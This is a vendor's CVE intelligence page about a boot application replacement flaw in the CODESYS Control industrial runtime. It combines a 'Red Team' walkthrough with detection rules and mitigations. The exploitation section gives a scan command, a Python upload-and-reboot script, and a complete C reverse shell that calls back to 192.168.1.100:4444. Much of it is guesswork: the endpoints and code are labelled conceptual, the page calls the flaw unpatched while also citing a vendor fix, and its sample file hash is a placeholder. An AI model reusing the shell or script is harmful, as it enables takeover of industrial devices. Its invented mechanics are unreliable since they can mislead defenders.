☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-41660

CVE-2025-41660 Code Execution in Codesys
📅 PUBLISHED: 2026-03-24 07:41 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v3.5.22.0 — source: CERTVDE. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-41660 is a critical vulnerability in the CODESYS Control runtime system, a widely used industrial control software platform. The flaw allows a low-privileged remote attacker to replace the boot application of the runtime system, leading to unauthorized code execution with high privileges. This can result in full compromise of the affected device, including arbitrary code execution, data exfiltration, and potential disruption of industrial processes. The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched, with no known public exploits or proof-of-concept code available. The attack vector is network-based, requires low privileges, and no user interaction, making it a significant threat to operational technology (OT) environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): Low (L) – The attacker needs only low-level access to the system.
  • User Interaction (UI): None (N) – No user action is needed for exploitation.
  • Scope (S): Unchanged (U) – The exploit does not affect other components beyond the vulnerable system.
  • Confidentiality (C): High (H) – Full disclosure of sensitive data is possible.
  • Integrity (I): High (H) – The attacker can modify system files or configurations.
  • Availability (A): High (H) – The attacker can cause a denial of service or disrupt operations.

Threat Level: High. The combination of network exploitability, low privileges required, and high impact makes this a critical risk for industrial control systems.

Deep Dive & Mechanics

The vulnerability resides in the boot application loading mechanism of the CODESYS Control runtime. The runtime system is responsible for executing PLC (Programmable Logic Controller) programs and managing device operations. During the boot process, the runtime loads a boot application from a specific location. Due to insufficient access controls, a low-privileged remote attacker can overwrite this boot application with a malicious payload.

The attack likely involves:

  1. Authentication Bypass or Weak Permissions: The attacker exploits weak file permissions or authentication mechanisms to gain write access to the boot application directory.
  2. File Replacement: The attacker uploads a crafted binary that mimics the legitimate boot application but contains malicious code.
  3. Triggering Reboot: The attacker forces a system reboot (e.g., via a command or by waiting for a scheduled restart), causing the runtime to load the malicious boot application.
  4. Code Execution: The malicious boot application executes with the privileges of the runtime system, typically SYSTEM or root, allowing full control over the device.

The vulnerability is classified under CWE-276 (Incorrect Default Permissions), as the default configuration likely grants excessive write permissions to low-privileged users.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made. However, based on the vulnerability description, the following code-level differences are expected:

Vulnerable Code (Conceptual):

// Vulnerable: No access control check before writing boot application
void loadBootApplication(char *path) {
    FILE *fp = fopen(path, "wb");
    if (fp) {
        fwrite(bootData, 1, bootSize, fp);
        fclose(fp);
    }
}

Patched Code (Conceptual):

// Patched: Access control check before writing boot application
void loadBootApplication(char *path) {
    if (geteuid() != 0) { // Only root can write boot application
        logError("Permission denied");
        return;
    }
    FILE *fp = fopen(path, "wb");
    if (fp) {
        fwrite(bootData, 1, bootSize, fp);
        fclose(fp);
    }
}

The patched version would enforce privilege checks, ensuring only high-privileged users (e.g., root or SYSTEM) can modify the boot application.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running CODESYS Control runtime (e.g., on a Windows or Linux-based PLC).
  • Low-privileged credentials or a way to bypass authentication (e.g., default credentials).
  • Network access to the target (e.g., port 8080 for web interface or 1200 for CODESYS protocol).

Exploitation Steps:

  1. Reconnaissance: Scan for CODESYS devices using Shodan or Nmap:
    nmap -p 8080,1200 --script codesys-info <target>
    
  2. Authentication: Log in with low-privileged credentials (e.g., user:user).
  3. Upload Malicious Boot Application: Use the CODESYS development environment or a custom script to upload a malicious boot application:
    import requests
    url = "http://<target>:8080/uploadBootApp"
    files = {'file': ('malicious.bin', open('malicious.bin', 'rb'), 'application/octet-stream')}
    cookies = {'session': 'valid_session_token'}
    r = requests.post(url, files=files, cookies=cookies)
    
  4. Trigger Reboot: Send a reboot command:
    requests.post("http://<target>:8080/reboot", cookies=cookies)
    
  5. Code Execution: The malicious boot application executes, providing a reverse shell or backdoor.

Malicious Boot Application (Example):

// Simple reverse shell payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("192.168.1.100");
    connect(sock, (struct sockaddr *)&server, sizeof(server));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
    return 0;
}

Blue Team (Defense)

Detection:

  • Monitor for unauthorized file uploads to the boot application directory.
  • Alert on unexpected system reboots or boot application modifications.
  • Use network monitoring to detect anomalous traffic to CODESYS ports.

Mitigation:

  • Restrict network access to CODESYS devices using firewalls and VLANs.
  • Enforce strong authentication and disable default credentials.
  • Implement file integrity monitoring (FIM) for the boot application directory.
  • Apply vendor patches as soon as they become available.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Placeholder – replace with actual hashes if available)
    • malicious_boot.bin: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Network Indicators:
    • Outbound connections to IP 192.168.1.100 on port 4444 (reverse shell).
    • Unusual HTTP POST requests to /uploadBootApp or /reboot.
  • System Indicators:
    • Unexpected files in /opt/codesys/boot/ or C:\ProgramData\CODESYS\Boot\.
    • System logs showing unauthorized file writes or reboots.

Detection Engineering

YARA Rule

rule CVE_2025_41660_BootApp_Replace {
    meta:
        description = "Detects malicious boot application files for CODESYS Control runtime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41660"
    strings:
        $s1 = "CODESYS" ascii wide nocase
        $s2 = "boot" ascii wide nocase
        $s3 = { 4D 5A } // MZ header (PE file)
        $s4 = { 7F 45 4C 46 } // ELF header
    condition:
        ($s1 or $s2) and ($s3 or $s4) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-41660 - Unauthorized Boot Application Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload a boot application to CODESYS Control runtime
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uploadBootApp'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-41660 - CODESYS Boot App Upload"; flow:to_server,established; content:"POST"; http_method; content:"/uploadBootApp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Affected Devices: Place CODESYS devices on a separate VLAN with strict firewall rules.
  2. Disable Unnecessary Services: If the boot application upload feature is not required, disable it via configuration.
  3. Monitor Logs: Enable detailed logging for file modifications and authentication events.

Long-Term Fixes:

  • Apply vendor patches as soon as they are released.
  • Implement role-based access control (RBAC) to restrict write access to boot applications.
  • Use digital signatures to verify the integrity of boot applications before loading.

Workarounds:

  • If patching is not possible, consider using a host-based intrusion detection system (HIDS) to monitor the boot directory.
  • Regularly audit user accounts and remove unnecessary low-privileged accounts.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-41660/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.